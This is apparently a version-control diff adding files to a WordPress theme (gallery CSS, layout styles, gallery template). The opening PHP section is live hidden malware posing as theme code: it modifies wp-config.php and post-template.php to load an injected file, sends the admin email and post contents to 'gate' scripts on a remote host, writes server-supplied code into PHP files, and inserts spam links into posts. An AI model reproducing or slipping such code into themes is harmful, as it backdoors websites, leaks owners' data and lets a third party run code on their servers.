$this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); + return $t_n; + } + function amt_gae() + { + global $wpdb, $table_prefix; + $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); + $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); + $this->a_em=$uem[0]; + return $a_em; + } + function amt_crtb() + { + global $wpdb; + $this->amt_gtbl(); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + id_post INT(9) NOT NULL , + last_up DATETIME NOT NULL , + addd DATETIME NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + l_b ENUM('0', '1') NOT NULL , + id_post INT(9) NOT NULL , + word VARCHAR(255) NOT NULL , + id_word INT( 9 ) NOT NULL , + link VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( + host VARCHAR(255) NOT NULL , + t_o VARCHAR(255) NOT NULL , + n_f VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + if($this->host=="") + { + $amt_nf=$this->amt_gfn(); + $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + } + $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; + } +} +$amt_d=new amt_data; +$amt_d->amt_crtb(); +$amt_d->amt_gae(); +$root_dir=amt_gp(); +$amt_d->u_tpl=$amt_u_tpl; +$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); +$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; +$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; +$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; +$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; +$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); +$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; +$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; +$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; +if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } +amt_ci(); +amt_cifi(); + +function amt_cif() +{ +global $amt_d; +if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } +} + +function amt_cifi() +{ +global $amt_d; +$today=date("Ymd"); + if($today<=20100225) + { + $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); + amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); + } +} + +function amt_ci() +{ +global $amt_d; + $sha="!amt_cif!si"; + $sha2="!".$amt_d->n_f."!si"; + $cont=file_get_contents($amt_d->wp_c); + if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) + { + $amt_d->ci[0]=0; + } + else + { + $amt_d->ci[0]=1; + } + $sha="!amt_cc!si"; + $cont=file_get_contents($amt_d->wp_pt); + if(!preg_match($sha,$cont,$match)) + { + $amt_d->ci[1]=0; + } + else + { + $amt_d->ci[1]=1; + } + + if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) + { + $amt_d->ci[2]=0; + } + else + { + $amt_d->ci[2]=1; + } +if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } +if($amt_d->ci[3]==0) +{ + if($amt_d->ci[0]==0) + { + chmod($amt_d->wp_c, 0755); + $cont=trim(file_get_contents($amt_d->wp_c)); + $sha="/\?>$/"; + if(preg_match($sha,$cont,$name)) + { + $cont=$cont." +n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; + } + else + { + $cont=$cont." +if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; + } + $amt_f = fopen($amt_d->wp_c,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { chmod($amt_d->wp_c, 0644); } + } + if($amt_d->ci[1]==0) + { + $cont=file_get_contents($amt_d->wp_pt); +$sha1="echo \$content;"; +$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } + echo \$content;"; + $cont=str_replace($sha1,$sha2,$cont); + chmod($amt_d->wp_pt, 0755); + $amt_f = fopen($amt_d->wp_pt,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { @chmod($amt_d->wp_pt, 0644); } + } + if($amt_d->ci[2]==0) + { + $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } + if(file_exists($amt_d->wp_ff)) + { + chmod($amt_d->wp_ff, 0755); + } + $amt_f = fopen($amt_d->wp_ff,"w"); + $test = fwrite($amt_f, $content); + fclose($amt_f); + if($test) { chmod($amt_d->wp_ff, 0644); } + } +} +} +function amt_cc($content) +{ + global $amt_d; + $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); + amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); + return $content; +} +function amt_gct($id) +{ +global $amt_d; +$ololo=get_post($id); +$amt_cty=get_the_category(); +$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; +$amt_d->p_ttl=$ololo->post_title; +} +function amt_cco($id, $content) +{ +global $wpdb, $amt_d; +$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); + for($q=0;$q < count($q_word);$q++) + { + $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); + } +$content.=amt_abl($id); +return $content; +} +function amt_abl($id) +{ +global $wpdb, $amt_d; +$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); + if($t_link[0]!="") + { + $tlk="

    ".$t_link[0]."

    "; + } + else + { + $tlk=""; + } +return $tlk; +} +function amt_copt($m_url) +{ +global $wpdb, $amt_d; +$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); +$today=date("Y-m-d"); + if(!amt_cuo()) + { + if($amt_ud=amt_sender($amt_d->u_g[2], $post)) + { + if($amt_ud!="no" && $amt_ud!="") + { + $amt_md=explode('*^*^*^*',$amt_ud); + $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + if($amt_md[3]==2) + { + amt_cnff($amt_md[4]); + } + } + else + { + $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + } + } + } +} +function amt_cnff($content) +{ +global $amt_d; +if($content=="") { return false; } +$content= +""; + if(file_exists($amt_d->wp_ff)) + { + @chmod($amt_d->wp_ff, 0755); + } +$amt_f = fopen($amt_d->wp_ff,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($amt_d->wp_ff, 0644); } +$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) + { + @chmod($s_f_path, 0755); + } +$amt_f = fopen($s_f_path,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($s_f_path, 0644); } +} +function amt_inb($id, $last) +{ +global $wpdb, $amt_d; +$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($amt_q); +$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; +$wpdb->query($amt_q); +} +function amt_ins($id, $last, $cont, $url) +{ +global $amt_d; +$last=str_replace(" ","_",$last); +$url=trim_url($url); +$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); +$amt_pisg=amt_sender($amt_d->u_g[0], $post); +if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } +return $pis; +} +function amt_pib($id) +{ +global $wpdb, $amt_d; +$query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($query); + if($wpdb->num_rows>0) + { + $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); + if($per>30) + { + return 0; + } + else + { + return 1; + } + } +return $wpdb->num_rows; +} +function amt_qwe($id) +{ +global $wpdb, $amt_d; +$query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; +$wpdb->query($query); +return $wpdb->num_rows; +} +function amt_cuq() +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); + if($date_up!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_cuo() +{ +global $amt_d; +$today=date("Y-m-d"); + if($amt_d->c_d!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_qse($id, $m_url) +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$m_url=trim_url($m_url); +$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); + if($amt_nq=amt_sender($amt_d->u_g[1], $post)) + { + if($amt_nq=="no quests") + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; + echo $amt_q2; + $wpdb->query($amt_q2); + } + else + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_qs=explode("*****",$amt_nq); + for($q=0;$q < sizeof($amt_qs);$q++) + { + $m_amt_q=explode("^^^",$amt_qs[$q]); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; + $wpdb->query($amt_q2); + } + } + } +} +function amt_sender($url, $post) +{ +global $amt_d; +$_post=Array(); + if(is_array($post)) + { + foreach($post as $name => $value) + { + $_post[]=$name.'='.urlencode($value); + } + } + if (function_exists("curl_init")) + { + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); + curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); + curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + if(is_array($post)) + { + curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); + } + $result=curl_exec($ch); + if(curl_errno($ch)!=0 && empty($result)) + { + $result=false; + } + curl_close($ch); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + else + { + $parse_url = parse_url($url); + $path = $parse_url["path"]; + $host= $parse_url["host"]; + $result=""; + $post=implode('&', $_post); + $fp=fsockopen($host, 80); + if($fp) + { + socket_set_timeout($fp, $amt_d->t_o); + $request = "POST $path HTTP/1.1\r\n"; + $request .= "Host: $host\r\n"; + $request .= "User-Agent: Penetrator/3.0\r\n"; + $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $request .= "Referer: ".$amt_d->my_h."\r\n"; + $request .= "Content-Length: ".strlen($post)."\r\n"; + $request .= "Connection: close\r\n\r\n$post"; + fputs($fp,$request); + while(!feof($fp)) + { + $result.=fgets($fp); + } + fclose($fp); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + return false; + } +} +function amt_create_post_words($content,$word,$id_word,$link,$nwm) +{ +$n_content=strip_tags($content); +$word=trim($word); +$t_link="http://".$link; +$w=0; +$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="***\\0***"; +$new_content=preg_replace($bilo,$stalo,$n_content); +preg_match_all($sha2,$new_content,$massa); +$sha_word=erase_zv($massa[0][$id_word]); +$sha_word_l=strong_word($sha_word,$word,$t_link); +$content=str_replace($sha_word,$sha_word_l,$content); +return $content; +} +function erase_zv($text) +{ +$text=str_replace(",***",",",$text); +$text=str_replace(".***",".",$text); +$text=str_replace(" ***"," ",$text); +$text=str_replace("*** "," ",$text); +$text=str_replace("***"," ",$text); +return $text; +} +function trim_side($text) +{ +$new_text=""; +$txt=explode(" ", $text); +$n_w=sizeof($txt); + for($ts=1;$ts<$n_w-1;$ts++) + { + $new_text.=$txt[$ts]." "; + } +return $new_text; +} +function strong_word($content,$word,$t_link) +{ +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="\\0"; +$content=preg_replace($bilo,$stalo,$content); +$content=str_replace("> ",">",$content); +$content=str_replace(" <","<",$content); +$content=str_replace("<"," <",$content); +$content=str_replace(" ","",$content); +$content=str_replace(""," ",$content); +$content=str_replace(",",", ",$content); +$content=str_replace(".",". ",$content); +$content=str_replace(" "," ",$content); +return $content; +} +function trim_url($url) +{ +$url=preg_replace("(www.|http://)", "", $url); +return $url; +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/Thumbs.db Binary file web/wp-content/themes/aparatus/gallery-css/img/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/carrow1.gif Binary file web/wp-content/themes/aparatus/gallery-css/img/carrow1.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/carrow2.gif Binary file web/wp-content/themes/aparatus/gallery-css/img/carrow2.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/fleche1.gif Binary file web/wp-content/themes/aparatus/gallery-css/img/fleche1.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/fleche1.png Binary file web/wp-content/themes/aparatus/gallery-css/img/fleche1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/fleche2.gif Binary file web/wp-content/themes/aparatus/gallery-css/img/fleche2.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/fleche2.png Binary file web/wp-content/themes/aparatus/gallery-css/img/fleche2.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/loading-bar-black.gif Binary file web/wp-content/themes/aparatus/gallery-css/img/loading-bar-black.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/open.gif Binary file web/wp-content/themes/aparatus/gallery-css/img/open.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/open.png Binary file web/wp-content/themes/aparatus/gallery-css/img/open.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/open2.png Binary file web/wp-content/themes/aparatus/gallery-css/img/open2.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/img/slideinfozone-bg.png Binary file web/wp-content/themes/aparatus/gallery-css/img/slideinfozone-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/jd.gallery.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/gallery-css/jd.gallery.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,374 @@ +#myGallery, #myGallerySet, #flickrGallery +{ + width: 590px; + height: 278px; + z-index:5; + +} + +#flickrGallery +{ + width: 500px; + height: 334px; +} + +#myGallery img.thumbnail, #myGallerySet img.thumbnail +{ + display: none; +} + +.jdGallery +{ + overflow: hidden; + position: relative; +} + +.jdGallery img +{ + border: 0; + margin: 0; +} + +.jdGallery .slideElement +{ + width: 100%; + height: 100%; + background-color: #000; + background-repeat: no-repeat; + background-position: center center; + background-image: url('img/loading-bar-black.gif'); +} + +.jdGallery .loadingElement +{ + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; + background-color: #000; + background-repeat: no-repeat; + background-position: center center; + background-image: url('img/loading-bar-black.gif'); +} + +.jdGallery .slideInfoZone +{ + position: absolute; + z-index: 10; + width: 100%; + margin: 0px; + left: 0; + bottom: 0; + height: 88px; + background: url(img/slideinfozone-bg.png); + color: #fff; + text-indent: 0; + overflow: hidden; +} + +* html .jdGallery .slideInfoZone +{ + bottom: -1px; +} + +.jdGallery .slideInfoZone h2 +{ + padding: 0; + margin: 0; + margin: 2px 8px; + font-weight: bold; + color: #fff; + font-family:arial, helvetica; + letter-spacing:-1px; + font-size:24px; +} + +.jdGallery .slideInfoZone p +{ + padding: 0; + font-size: 13px; + font-family:arial, helvetica; + margin: 2px 8px; + color: #eee; + height:50px; + overflow:hidden; +} + +.jdGallery div.carouselContainer +{ + position: absolute; + height: 135px; + width: 100%; + z-index: 10; + margin: 0px; + left: 0; + top: 0; +} + +.jdGallery a.carouselBtn +{ + position: absolute; + bottom: 0; + right: 30px; + height: 20px; + /*width: 100px; background: url('img/carousel_btn.gif') no-repeat;*/ + text-align: center; + padding: 0 10px; + font-size: 13px; + background: #333; + color: #fff; + cursor: pointer; +} + +.jdGallery .carousel +{ + position: absolute; + width: 100%; + margin: 0px; + left: 0; + top: 0; + height: 115px; + background: #333; + color: #fff; + text-indent: 0; + overflow: hidden; +} + +.jdExtCarousel +{ + overflow: hidden; + position: relative; +} + +.jdGallery .carousel .carouselWrapper, .jdExtCarousel .carouselWrapper +{ + position: absolute; + width: 100%; + height: 78px; + top: 10px; + left: 0; + overflow: hidden; +} + +.jdGallery .carousel .carouselInner, .jdExtCarousel .carouselInner +{ + position: relative; +} + +.jdGallery .carousel .carouselInner .thumbnail, .jdExtCarousel .carouselInner .thumbnail +{ + cursor: pointer; + background: #000; + background-position: center center; + float: left; + border: solid 1px #fff; +} + +.jdGallery .wall .thumbnail, .jdExtCarousel .wall .thumbnail +{ + margin-bottom: 10px; +} + +.jdGallery .carousel .label, .jdExtCarousel .label +{ + font-size: 13px; + position: absolute; + bottom: 7px; + left: 10px; + padding: 0; + margin: 0; +} + +.jdGallery .carousel .wallButton, .jdExtCarousel .wallButton +{ + font-size: 10px; + position: absolute; + bottom: 5px; + right: 10px; + padding: 1px 2px; + margin: 0; + background: #222; + border: 1px solid #888; + cursor: pointer; +} + +.jdGallery .carousel .label .number, .jdExtCarousel .label .number +{ + color: #b5b5b5; +} + +.jdGallery a +{ + font-size: 100%; + text-decoration: none; + color: inherit; +} + +.jdGallery a.right, .jdGallery a.left +{ + position: absolute; + height: 99%; + width: 25%; + cursor: pointer; + z-index:10; + filter:alpha(opacity=20); + -moz-opacity:0.2; + -khtml-opacity: 0.2; + opacity: 0.2; +} + +* html .jdGallery a.right, * html .jdGallery a.left +{ + filter:alpha(opacity=50); +} + +.jdGallery a.right:hover, .jdGallery a.left:hover +{ + filter:alpha(opacity=80); + -moz-opacity:0.8; + -khtml-opacity: 0.8; + opacity: 0.8; +} + +.jdGallery a.left +{ + left: 0; + top: 0; + background: url('img/fleche1.png') no-repeat center left; +} + +* html .jdGallery a.left { background: url('img/fleche1.gif') no-repeat center left; } + +.jdGallery a.right +{ + right: 0; + top: 0; + background: url('img/fleche2.png') no-repeat center right; +} + +* html .jdGallery a.right { background: url('img/fleche2.gif') no-repeat center right; } + +.jdGallery a.open +{ + left: 0; + top: 0; + width: 100%; + height: 100%; +} + +.withArrows a.open +{ + position: absolute; + top: 0; + left: 25%; + height: 99%; + width: 50%; + cursor: pointer; + z-index: 10; + background: none; + -moz-opacity:0.8; + -khtml-opacity: 0.8; + opacity: 0.8; +} + +.withArrows a.open:hover { background: url('img/open.png') no-repeat center center; } + +* html .withArrows a.open:hover { background: url('img/open.gif') no-repeat center center; + filter:alpha(opacity=80); } + + +/* Gallery Sets */ + +.jdGallery a.gallerySelectorBtn +{ + z-index: 15; + position: absolute; + top: 0; + left: 30px; + height: 20px; + /*width: 100px; background: url('img/carousel_btn.gif') no-repeat;*/ + text-align: center; + padding: 0 10px; + font-size: 13px; + background: #333; + color: #fff; + cursor: pointer; + opacity: .4; + -moz-opacity: .4; + -khtml-opacity: 0.4; + filter:alpha(opacity=40); +} + +.jdGallery .gallerySelector +{ + z-index: 20; + width: 100%; + height: 100%; + position: absolute; + top: 0; + left: 0; + background: #000; +} + +.jdGallery .gallerySelector h2 +{ + margin: 0; + padding: 10px 20px 10px 20px; + font-size: 20px; + line-height: 30px; + color: #fff; +} + +.jdGallery .gallerySelector .gallerySelectorWrapper +{ + overflow: hidden; +} + +.jdGallery .gallerySelector .gallerySelectorInner div.galleryButton +{ + margin-left: 10px; + margin-top: 10px; + border: 1px solid #888; + padding: 5px; + height: 40px; + color: #fff; + cursor: pointer; + float: left; +} + +.jdGallery .gallerySelector .gallerySelectorInner div.hover +{ + background: #333; +} + +.jdGallery .gallerySelector .gallerySelectorInner div.galleryButton div.preview +{ + background: #000; + background-position: center center; + float: left; + border: none; + width: 40px; + height: 40px; + margin-right: 5px; +} + +.jdGallery .gallerySelector .gallerySelectorInner div.galleryButton h3 +{ + margin: 0; + padding: 0; + font-size: 12px; + font-weight: normal; +} + +.jdGallery .gallerySelector .gallerySelectorInner div.galleryButton p.info +{ + margin: 0; + padding: 0; + font-size: 12px; + font-weight: normal; + color: #aaa; +} + + +.content {margin-bottom:20px;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery-css/layout.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/gallery-css/layout.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,91 @@ +body { + color: #ccc; + font-family: "Trebuchet MS", "Lucida Grande", Arial, Helvetica, sans-serif; + margin: 0 auto; + padding: 0; + font-size: 0.6em; + background: #111 url('../images/bg/gradient1.gif') top left repeat-x; +} + +h1 +{ + color: #fff; + font-size: 47px; + font-weight: bolder; + margin: 0 40px; + padding: 0.08em 0; +} + +h1 sup +{ + color: #ddd; +} + +h1 a +{ + color: #fff; + text-decoration: none; +} + +h1 .company, h1 a .company +{ + color: #d01a71; +} + +h2 +{ + color: #ddd; + font-size: 2.5em; +} + +h3 +{ + color: #fff; + font-size: 1.5em; +} + +h4 +{ + font-size: 1.3em; +} + +.content +{ + margin: 0 20px; +} + +.content a +{ + color: #fff; +} + + +.content p.linkage +{ + margin-top: 2em; + text-align: right; + font-size: 1.7em; + color: #ddd; +} + +.content p.linkage a { color: #fff; } + +/*.content p.linkage a +{ + color: #fff; + background: url('../images/bg/biglink_off.gif') center right no-repeat; + padding: 10px 20px; + text-decoration: none; +} + +.content p.linkage a:hover +{ + background: url('../images/bg/biglink_on.gif') center right no-repeat; + font-style: italic; +}*/ + +#myGallery +{ + text-align: left; + margin: 0 auto; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/gallery.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/gallery.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,62 @@ + + + + + +
    > +
    + + 5, 'orderby'=> date, 'order' => DES, 'category_name' => $apa_feature_cat_name)); + $saved_ids = array(); + while (have_posts()) : the_post(); + $saved_ids[] = get_the_ID(); + $values = get_post_custom_values("image"); ?> + + + + +
    +

    + + + 'full' )); ?> + 'thumbnail' )); ?> +
    + + + +
    +

    + + + <?php the_title(); ?> + <?php the_title(); ?> +
    + + + +
    +

    + + + <?php the_title(); ?> + <?php the_title(); ?> +
    + + + +
    +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/green.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/green.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,289 @@ +/* CSS Document */ + +/* -------------------------------------------------------------- + + Theme Name: aparatus + Theme URI: http://fearlessflyer.com + Description: Theme by Michael Soriano + Author: Michael Soriano + Author URI: http://fearlessflyer.com + Version: 0.1 + green + +-------------------------------------------------------------- */ +* {padding:0; margin:0;} +body {background:#e7eeee; } +a {outline:none;} +a img {border:none;} + +.alignright {float:right;} +.alignleft {float:left;} +.alignnone {clear:both;} +.aligncenter {margin-left: auto; margin-right: auto;} + +blockquote {background:url(images/blockquote-bg.png) top left no-repeat; padding:5px 0 0 35px; font-family:georgia,'Lucida Grande','Lucida Sans Unicode'; font-style:italic;} + +img.alignright {display:inline;} +img.alignleft {display:inline;} +img.aligncenter {margin:0 auto; display:block;} +img.alignnone {clear:both;} + +#header {height:156px; clear:both; padding:70px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/header-bg.gif) no-repeat bottom left; position:relative;} +#twitter-badge {position:absolute; left:740px; top:-5px; background:url(images/twitter-badge-green.png); width:218px; height:139px;} +#twitter-badge a {display:block; width:218px; height:139px; text-indent:-9999px;} +a#logo {clear:both; font-size:98px; overflow:hidden; text-decoration:none; text-transform:uppercase; color:#074141;letter-spacing:-2px; display:inline; margin:0px; padding:0;} + +#wrap {width:940px; padding:0 49px 0 49px; margin:0 auto; text-align:center; background:url(images/wrap-bg.gif) repeat-y; overflow:hidden;} + +#navigation {clear:both; background:url(images/nav-bar-temp.png) no-repeat; height:64px; position:relative; top:-6px;} +#page-nav {height:25px; font-family:verdana, arial, helvetica; font-size:10px; font-weight:bold; padding:0 0 0 0;} +#page-nav ul li {float:left; list-style:none; padding:5px 25px 0 10px; display:block;} +#page-nav ul li a {text-decoration:none; color:#FFFFFF;} +#page-nav ul li a:hover {color:#999999;} +#page-nav ul li#welcome {padding-left:10px; padding-right:25px;} +#page-nav ul li#welcome a {color:#000000;} +#page-nav ul li#welcome a:hover {color:#204343;} +#page-nav ul li#welcome.current_page_item2 {background:url(images/page-tab.gif) no-repeat top right #b0b0b0; height:25px; color:#000000;} +#login {float:right; padding:3px 45px 0 0; text-transform:uppercase; background:url(images/user-silhouette.png) no-repeat; background-position:89px 0;} +#login a {color:#000000; text-decoration:none;} +#login a:hover {color:#204343;} + + + +#nav2, #nav2 ul{padding: 0; float:left; list-style: none;} +#nav2 {padding:0; float:left;} +#nav2 a {display:block; font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; text-decoration:none; font-size:14px;} +#nav2 li {float:left; line-height:27px; padding:0 6px 0 6px; margin-right:3px; } + +#nav2 li a:hover {background: none;} +#nav2 li ul {position:absolute; width: 15em; left: -999em; padding-top:1px;} +#nav2 li:hover ul, #nav2 li.sfhover ul {left:auto; z-index:1000;} +#nav2 li ul.children li {background: #FFFFFF; border-bottom:1px solid #dedbd1; border-left:1px solid #dedbd1; border-right:1px solid #dedbd1; line-height:28px; width:15em;} +#nav2 li:hover, #nav2 li.hover {position: static;} +#nav2 li ul ul {margin: -29px 0 0 15em;} +#nav2 li:hover ul ul, #nav2 li.sfhover ul ul {left: -999em;} +#nav2 li:hover ul, #nav2 li li:hover ul, #nav2 li.sfhover ul, #nav2 li li.sfhover ul {left: auto;} +#nav2 li:hover ul ul, #nav2 